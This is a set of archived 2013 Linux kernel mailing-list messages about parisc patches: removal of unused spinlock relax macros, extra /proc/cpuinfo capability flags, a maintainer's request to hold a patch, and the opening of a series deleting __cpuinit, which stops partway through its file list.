Cc: Helge Deller <deller@gmx.de>
Signed-off-by: Will Deacon <will.deacon@arm.com>
---
 arch/parisc/include/asm/spinlock.h | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/arch/parisc/include/asm/spinlock.h b/arch/parisc/include/asm/spinlock.h
index 3516e0b..64f2992 100644
--- a/arch/parisc/include/asm/spinlock.h
+++ b/arch/parisc/include/asm/spinlock.h
@@ -191,8 +191,4 @@ static __inline__ int arch_write_can_lock(arch_rwlock_t *rw)
 #define arch_read_lock_flags(lock, flags) arch_read_lock(lock)
 #define arch_write_lock_flags(lock, flags) arch_write_lock(lock)
 
-#define arch_spin_relax(lock)	cpu_relax()
-#define arch_read_relax(lock)	cpu_relax()
-#define arch_write_relax(lock)	cpu_relax()

From - Thu Nov 08 21:09:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: more capabilities info in /proc/cpuinfo
Date: Fri, 21 Jun 2013 23:32:44 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <20130621213244.GA19970@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1371850371 25032 80.91.229.3 (21 Jun 2013 21:32:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 21 Jun 2013 21:32:51 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 21 23:32:51 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Uq8wq-00067L-Jv
	for glpp-linux-parisc@plane.gmane.org; Fri, 21 Jun 2013 23:32:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1946061Ab3FUVcs (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 21 Jun 2013 17:32:48 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:65127 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1945979Ab3FUVcr (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 21 Jun 2013 17:32:47 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.33]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0Lm9rr-1UH5JP2AML-00Zd2J for
 <linux-parisc@vger.kernel.org>; Fri, 21 Jun 2013 23:32:46 +0200
Original-Received: (qmail invoked by alias); 21 Jun 2013 21:32:46 -0000
Original-Received: from p54AD1C93.dip0.t-ipconnect.de (EHLO p100.box) [84.173.28.147]
  by mail.gmx.net (mp033) with SMTP; 21 Jun 2013 23:32:46 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19v1HIL9QZv5BC6RUQ6h/OVB/UV0UQ8Y08cshtDyJ
	KjaVyhG3e9YGwj
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5163
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5163>

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/processor.c b/arch/parisc/kernel/processor.c
index c8fb61e..4997909 100644
--- a/arch/parisc/kernel/processor.c
+++ b/arch/parisc/kernel/processor.c
@@ -374,7 +374,20 @@ show_cpuinfo (struct seq_file *m, void *v)
 			seq_printf(m, " os32");
 		if (boot_cpu_data.pdc.capabilities & PDC_MODEL_OS64)
 			seq_printf(m, " os64");
-		seq_printf(m, "\n");
+		if (boot_cpu_data.pdc.capabilities & PDC_MODEL_IOPDIR_FDC)
+			seq_printf(m, " iopdir_fdc");
+		switch (boot_cpu_data.pdc.capabilities & PDC_MODEL_NVA_MASK) {
+			case PDC_MODEL_NVA_SUPPORTED:
+				seq_printf(m, " nva_supported");
+				break;
+			case PDC_MODEL_NVA_SLOW:
+				seq_printf(m, " nva_slow");
+				break;
+			case PDC_MODEL_NVA_UNSUPPORTED:
+				seq_printf(m, " needs_equivalent_aliasing");
+				break;
+		}
+		seq_printf(m, " (0x%02lx)\n", boot_cpu_data.pdc.capabilities);
 
 		seq_printf(m, "model\t\t: %s\n"
 				"model name\t: %s\n",
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Will Deacon <will.deacon@arm.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Fwd: [RFC PATCH 11/16] hppa: locks: remove unused arch_*_relax
 operations
Date: Mon, 24 Jun 2013 09:55:23 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <20130624085522.GB23779@mudshark.cambridge.arm.com>
References: <1371835057-19335-12-git-send-email-will.deacon@arm.com>
 <51C49C45.1060207@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1372064129 10787 80.91.229.3 (24 Jun 2013 08:55:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 24 Jun 2013 08:55:29 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 24 10:55:30 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ur2Yb-0003HJ-8Q
	for glpp-linux-parisc@plane.gmane.org; Mon, 24 Jun 2013 10:55:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751027Ab3FXIz2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 24 Jun 2013 04:55:28 -0400
Original-Received: from cam-admin0.cambridge.arm.com ([217.140.96.50]:64798 "EHLO
	cam-admin0.cambridge.arm.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750760Ab3FXIz1 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 24 Jun 2013 04:55:27 -0400
Original-Received: from mudshark.cambridge.arm.com (mudshark.cambridge.arm.com [10.1.203.36])
	by cam-admin0.cambridge.arm.com (8.12.6/8.12.6) with ESMTP id r5O8tNki009665;
	Mon, 24 Jun 2013 09:55:23 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <51C49C45.1060207@gmx.de>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5164
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5164>

On Fri, Jun 21, 2013 at 07:32:37PM +0100, Helge Deller wrote:
> Thanks Will,

Hi Helge,

> forwarding to linux-parisc@vger.kernel.org so that it gets into parisc patchwork.
> 
> I'll queue this patch up for 3.11 if it's OK for you.

Fine by me. Each patch in the series is self-contained, so they can get
merged via the arch trees without any problem.

Thanks!

Will
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Will Deacon <will.deacon@arm.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Fwd: [RFC PATCH 11/16] hppa: locks: remove unused arch_*_relax
 operations
Date: Mon, 24 Jun 2013 12:37:22 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <20130624113722.GI23779@mudshark.cambridge.arm.com>
References: <1371835057-19335-12-git-send-email-will.deacon@arm.com>
 <51C49C45.1060207@gmx.de>
 <20130624085522.GB23779@mudshark.cambridge.arm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1372073849 17671 80.91.229.3 (24 Jun 2013 11:37:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 24 Jun 2013 11:37:29 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 24 13:37:29 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ur55L-00086o-0x
	for glpp-linux-parisc@plane.gmane.org; Mon, 24 Jun 2013 13:37:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752532Ab3FXLh0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 24 Jun 2013 07:37:26 -0400
Original-Received: from cam-admin0.cambridge.arm.com ([217.140.96.50]:35433 "EHLO
	cam-admin0.cambridge.arm.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750979Ab3FXLh0 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 24 Jun 2013 07:37:26 -0400
Original-Received: from mudshark.cambridge.arm.com (mudshark.cambridge.arm.com [10.1.203.36])
	by cam-admin0.cambridge.arm.com (8.12.6/8.12.6) with ESMTP id r5OBbNki012891;
	Mon, 24 Jun 2013 12:37:23 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <20130624085522.GB23779@mudshark.cambridge.arm.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5165
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5165>

On Mon, Jun 24, 2013 at 09:55:22AM +0100, Will Deacon wrote:
> On Fri, Jun 21, 2013 at 07:32:37PM +0100, Helge Deller wrote:
> > Thanks Will,
> 
> Hi Helge,
> 
> > forwarding to linux-parisc@vger.kernel.org so that it gets into parisc patchwork.
> > 
> > I'll queue this patch up for 3.11 if it's OK for you.
> 
> Fine by me. Each patch in the series is self-contained, so they can get
> merged via the arch trees without any problem.

Wait a second; turns out the GENERIC_LOCKBREAK code *can* emit calls to
these functions, so I'll need to sort that out before you can take the
arch-side of things.

Better hold off on this until I have that fixed.

Cheers,

Will
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Gortmaker <paul.gortmaker-CWA4WttNNZF54TAoqtyWWQ@public.gmane.org>
Newsgroups: gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.kernel,gmane.linux.ports.sh.devel,gmane.linux.ports.openrisc,gmane.linux.ports.sparc,gmane.linux.ports.ia64,gmane.linux.network,gmane.linux.ports.hexagon,gmane.linux.power-management.general,gmane.linux.kernel.cpufreq,gmane.linux.drivers.sensors,gmane.linux.acpi.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: [PATCH-next 00/32] Delete support for __cpuinit
Date: Mon, 24 Jun 2013 15:30:05 -0400
Lines: 443
Approved: news@gmane.org
Message-ID: <1372102237-8757-1-git-send-email-paul.gortmaker@windriver.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1372102361 22687 80.91.229.3 (24 Jun 2013 19:32:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 24 Jun 2013 19:32:41 +0000 (UTC)
Cc: linux-m32r-ja-rQhvJZKUsGBRYuoOT4C5/9i2O/JbrIOy@public.gmane.org, linux-m32r-rQhvJZKUsGBRYuoOT4C5/9i2O/JbrIOy@public.gmane.org,
        Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>,
        linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, Viresh Kumar <viresh.kumar-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org>,
        linux-73nT9ZVIoz3k1uMJSBkQmQ@public.gmane.org, Matt Porter <mporter-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>,
        Will Deacon <will.deacon-5wv7dgnIgG8@public.gmane.org>, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
        David Howells <dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
        Paul Gortmaker <paul.gortmaker-CWA4WttNNZF54TAoqtyWWQ@public.gmane.org>,
        James Hogan <james.hogan-1AXoQHu6uovQT0dZR+AlfA@public.gmane.org>, Mackerras <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>,
        Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, netdev-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        "H. Peter Anvin" <hpa-YMNOUZJC4hwAvxtiuMwx3w@public.gmane.org>, Josh Triplett <josh-CC+yJ3UmIYqDUpFQwHEjaQ@public.gmane.org>,
        Jonas Bonn <jonas-A9uVI2HLR7kOP4wsBPIw7w@public.gmane.org>, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        Jesper Nilsson <jesper.nilsson-VrBV9hrLPhE@public.gmane.org>,
        Russell King <linux-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>,
        Max Filippov <
To: <linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Original-X-From: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org Mon Jun 24 21:32:33 2013
Return-path: <uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>
Envelope-to: glhbkd-uclinux-dist-devel-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org
Original-Received: from blackfin.uclinux.org ([66.11.68.51])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>)
	id 1UrCV7-0005RG-Ex
	for glhbkd-uclinux-dist-devel-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org; Mon, 24 Jun 2013 21:32:33 +0200
Original-Received: from blackfin.uclinux.org (blackfin.uclinux.org [127.0.0.1])
	by blackfin.uclinux.org (8.14.3/8.14.3/Debian-5+lenny1) with ESMTP id r5OJ1uRh009506;
	Mon, 24 Jun 2013 15:01:59 -0400
Original-Received: from mail1.windriver.com (mail1.windriver.com [147.11.146.13])
	by blackfin.uclinux.org (8.14.3/8.14.3/Debian-5+lenny1) with ESMTP id
	r5OJ1WBi009488 for <uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>;
	Mon, 24 Jun 2013 15:01:38 -0400
Original-Received: from ALA-HCA.corp.ad.wrs.com (ala-hca.corp.ad.wrs.com
	[147.11.189.40])
	by mail1.windriver.com (8.14.5/8.14.3) with ESMTP id r5OJUrTq007984
	(version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=FAIL);
	Mon, 24 Jun 2013 12:30:53 -0700 (PDT)
Original-Received: from yow-lpgnfs-02.corp.ad.wrs.com (128.224.149.8) by
	ALA-HCA.corp.ad.wrs.com (147.11.189.40) with Microsoft SMTP Server id
	14.2.342.3; Mon, 24 Jun 2013 12:30:52 -0700
X-Mailer: git-send-email 1.8.1.2
X-BeenThere: uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
X-Mailman-Version: 2.1.11
Precedence: list
List-Id: <uclinux-dist-devel.blackfin.uclinux.org>
List-Unsubscribe: <https://blackfin.uclinux.org/mailman/options/uclinux-dist-devel>,
	<mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=unsubscribe>
List-Archive: <http://blackfin.uclinux.org/pipermail/uclinux-dist-devel>
List-Post: <mailto:uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>
List-Help: <mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=help>
List-Subscribe: <https://blackfin.uclinux.org/mailman/listinfo/uclinux-dist-devel>,
	<mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=subscribe>
Original-Sender: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
Errors-To: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
Xref: news.gmane.org gmane.linux.hardware.blackfin.kernel.devel:7189 gmane.linux.kernel:1514478 gmane.linux.ports.sh.devel:24582 gmane.linux.ports.openrisc:235 gmane.linux.ports.sparc:17962 gmane.linux.ports.ia64:23246 gmane.linux.network:274226 gmane.linux.ports.hexagon:607 gmane.linux.power-management.general:35416 gmane.linux.kernel.cpufreq:11113 gmane.linux.drivers.sensors:32759 gmane.linux.acpi.devel:61691 gmane.linux.ports.arm.kernel:247961 gmane.linux.ports.parisc:5166 gmane.linux.ports.ppc64.devel:92144
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.blackfin.kernel.devel/7189>

This is the whole patch queue for removal of __cpuinit support
against the latest linux-next tree (Jun24th).  Some of you may
have already seen chunks of it, or already read the logistics
of what is being done (and why) here:

  https://lkml.org/lkml/2013/6/20/513

I won't repeat all that here again, other than to say this send
is to ensure arch/subsystem maintainers get a 2nd chance to know
what is going on and to look at what is being proposed for their
area of code.  That, and to ensure one complete continuous copy
of it gets mailed out.  You can also see the patch queue here:

  http://git.kernel.org/cgit/linux/kernel/git/paulg/cpuinit-delete.git

If you've noticed that a chunk for MIPS isn't present here, that
is because it has already been queued in the linux-mips for-next
branch.

Thanks,
Paul.

---
Cc: Len Brown <lenb-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>
Cc: "Rafael J. Wysocki" <rjw-KKrjLPT3xs0@public.gmane.org>
Cc: Richard Henderson <rth-hL46jP5Bxq7R7s880joybQ@public.gmane.org>
Cc: Ivan Kokshaysky <ink-biIs/Y0ymYJMZLIVYojuPNP0rXTJTi09@public.gmane.org>
Cc: Matt Turner <mattst88-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
Cc: Vineet Gupta <vgupta-HKixBCOQz3hWk0Htik3J/w@public.gmane.org>
Cc: Russell King <linux-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>
Cc: Will Deacon <will.deacon-5wv7dgnIgG8@public.gmane.org>
Cc: Catalin Marinas <catalin.marinas-5wv7dgnIgG8@public.gmane.org>
Cc: Will Deacon <will.deacon-5wv7dgnIgG8@public.gmane.org>
Cc: Mike Frysinger <vapier-aBrp7R+bbdUdnm+yROfE0A@public.gmane.org>
Cc: Bob Liu <lliubbo-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
Cc: Sonic Zhang <sonic.zhang-OyLXuOCK7orQT0dZR+AlfA@public.gmane.org>
Cc: Jens Axboe <axboe-tSWWG44O7X1aa/9Udqfwiw@public.gmane.org>
Cc: John Stultz <john.stultz-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org>
Cc: Thomas Gleixner <tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org>
Cc: "Rafael J. Wysocki" <rjw-KKrjLPT3xs0@public.gmane.org>
Cc: Viresh Kumar <viresh.kumar-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org>
Cc: Mikael Starvik <starvik-VrBV9hrLPhE@public.gmane.org>
Cc: Jesper Nilsson <jesper.nilsson-VrBV9hrLPhE@public.gmane.org>
Cc: Greg Kroah-Hartman <gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org>
Cc: David Howells <dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Cc: Richard Kuo <rkuo-sgV2jX0FEOL9JmXXK+q4OQ@public.gmane.org>
Cc: Fenghua Yu <fenghua.yu-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>
Cc: Tony Luck <tony.luck-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>
Cc: Fenghua Yu <fenghua.yu-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>
Cc: Hirokazu Takata <takata-TMSiXQfHlQjsTix1lMzHGQ@public.gmane.org>
Cc: James Hogan <james.hogan-1AXoQHu6uovQT0dZR+AlfA@public.gmane.org>
Cc: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>
Cc: Rusty Russell <rusty-8n+1lVoiYb80n/F98K4Iww@public.gmane.org>
Cc: "David S. Miller" <davem-fT/PcQaiUtIeIZ0/mPfg9Q@public.gmane.org>
Cc: Jonas Bonn <jonas-A9uVI2HLR7kOP4wsBPIw7w@public.gmane.org>
Cc: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>
Cc: Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>
Cc: Paul Mackerras <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>
Cc: Josh Boyer <jwboyer-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
Cc: Matt Porter <mporter-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>
Cc: Kumar Gala <galak-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>
Cc: "Paul E. McKenney" <paulmck-23VcF4HTsmIX0ybBhKVfKdBPR1lH4CV8@public.gmane.org>
Cc: Josh Triplett <josh-CC+yJ3UmIYqDUpFQwHEjaQ@public.gmane.org>
Cc: Dipankar Sarma <dipankar-xthvdsQ13ZrQT0dZR+AlfA@public.gmane.org>
Cc: Martin Schwidefsky <schwidefsky-tA70FqPdS9bQT0dZR+AlfA@public.gmane.org>
Cc: Heiko Carstens <heiko.carstens-tA70FqPdS9bQT0dZR+AlfA@public.gmane.org>
Cc: Chen Liqin <liqin.chen-+XGAvkf1AAHby3iVrkZq2A@public.gmane.org>
Cc: Lennox Wu <lennox.wu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
Cc: Paul Mundt <lethal-M7jkjyW5wf5g9hUCZPvPmw@public.gmane.org>
Cc: "David S. Miller" <davem-fT/PcQaiUtIeIZ0/mPfg9Q@public.gmane.org>
Cc: Chris Metcalf <cmetcalf-kv+TWInifGbQT0dZR+AlfA@public.gmane.org>
Cc: Thomas Gleixner <tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org>
Cc: Ingo Molnar <mingo-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Cc: "H. Peter Anvin" <hpa-YMNOUZJC4hwAvxtiuMwx3w@public.gmane.org>
Cc: Chris Zankel <chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org>
Cc: Max Filippov <jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
Cc: linux-acpi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Cc: linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
Cc: uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
Cc: cpufreq-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Cc: linux-pm-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Cc: linux-cris-kernel-VrBV9hrLPhE@public.gmane.org
Cc: linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Cc: lm-sensors-GZX6beZjE8VD60Wz+7aTrA@public.gmane.org
Cc: linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Cc: linux-m32r-rQhvJZKUsGBRYuoOT4C5/9i2O/JbrIOy@public.gmane.org
Cc: linux-m32r-ja-rQhvJZKUsGBRYuoOT4C5/9i2O/JbrIOy@public.gmane.org
Cc: netdev-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Cc: linux-ZwoEplunGu2h2975yA52AaxOck334EZe@public.gmane.org
Cc: linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Cc: linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org
Cc: linux390-tA70FqPdS9bQT0dZR+AlfA@public.gmane.org
Cc: linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Cc: linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Cc: sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Cc: x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org
Cc: linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org

Paul Gortmaker (32):
  init.h: remove __cpuinit sections from the kernel
  modpost: remove all traces of cpuinit/cpuexit sections
  alpha: delete __cpuinit usage from all users
  powerpc: delete __cpuinit usage from all users
  parisc: delete __cpuinit usage from all users
  ia64: delete __cpuinit usage from all ia64 users
  arm: delete __cpuinit/__CPUINIT usage from all ARM users
  sparc: delete __cpuinit/__CPUINIT usage from all users
  arm64: delete __cpuinit usage from all users
  arc: delete __cpuinit usage from all arc files
  blackfin: delete __cpuinit usage from all blackfin files
  s390: delete __cpuinit usage from all s390 files
  sh: delete __cpuinit usage from all sh files
  tile: delete __cpuinit usage from all tile files
  metag: delete __cpuinit usage from all metag files
  cris: delete __cpuinit usage from all cris files
  frv: delete __cpuinit usage from all frv files
  hexagon: delete __cpuinit usage from all hexagon files
  m32r: delete __cpuinit usage from all m32r files
  openrisc: delete __cpuinit usage from all openrisc files
  xtensa: delete __cpuinit usage from all xtensa files
  score: delete __cpuinit usage from all score files
  x86: delete __cpuinit usage from all x86 files
  clocksource+irqchip: delete __cpuinit usage from all related files
  cpufreq: delete __cpuinit usage from all cpufreq files
  hwmon: delete __cpuinit usage from all hwmon files
  acpi: delete __cpuinit usage from all acpi files
  net: delete __cpuinit usage from all net files
  rcu: delete __cpuinit usage from all rcu files
  kernel: delete __cpuinit usage from all core kernel files
  drivers: delete __cpuinit usage from all remaining drivers files
  block: delete __cpuinit usage from all block files

 Documentation/cpu-hotplug.txt                 |  6 +--
 arch/alpha/kernel/smp.c                       | 10 ++---
 arch/alpha/kernel/traps.c                     |  4 +-
 arch/arc/include/asm/irq.h                    |  2 +-
 arch/arc/kernel/irq.c                         |  2 +-
 arch/arc/kernel/setup.c                       | 10 ++---
 arch/arc/kernel/smp.c                         |  4 +-
 arch/arc/kernel/time.c                        |  6 +--
 arch/arc/mm/cache_arc700.c                    |  4 +-
 arch/arc/mm/tlb.c                             |  4 +-
 arch/arm/common/mcpm_platsmp.c                |  4 +-
 arch/arm/include/asm/arch_timer.h             |  2 +-
 arch/arm/kernel/head-common.S                 |  1 -
 arch/arm/kernel/head.S                        |  1 -
 arch/arm/kernel/hw_breakpoint.c               |  4 +-
 arch/arm/kernel/perf_event_cpu.c              |  6 +--
 arch/arm/kernel/psci_smp.c                    |  3 +-
 arch/arm/kernel/smp.c                         | 18 ++++----
 arch/arm/kernel/smp_twd.c                     |  6 +--
 arch/arm/lib/delay.c                          |  2 +-
 arch/arm/mach-exynos/headsmp.S                |  2 -
 arch/arm/mach-exynos/platsmp.c                |  4 +-
 arch/arm/mach-highbank/platsmp.c              |  2 +-
 arch/arm/mach-imx/platsmp.c                   |  2 +-
 arch/arm/mach-msm/headsmp.S                   |  2 -
 arch/arm/mach-msm/platsmp.c                   |  6 +--
 arch/arm/mach-msm/timer.c                     |  4 +-
 arch/arm/mach-mvebu/coherency.c               |  2 +-
 arch/arm/mach-mvebu/headsmp.S                 |  2 -
 arch/arm/mach-mvebu/platsmp.c                 |  5 +--
 arch/arm/mach-omap2/omap-headsmp.S            |  2 -
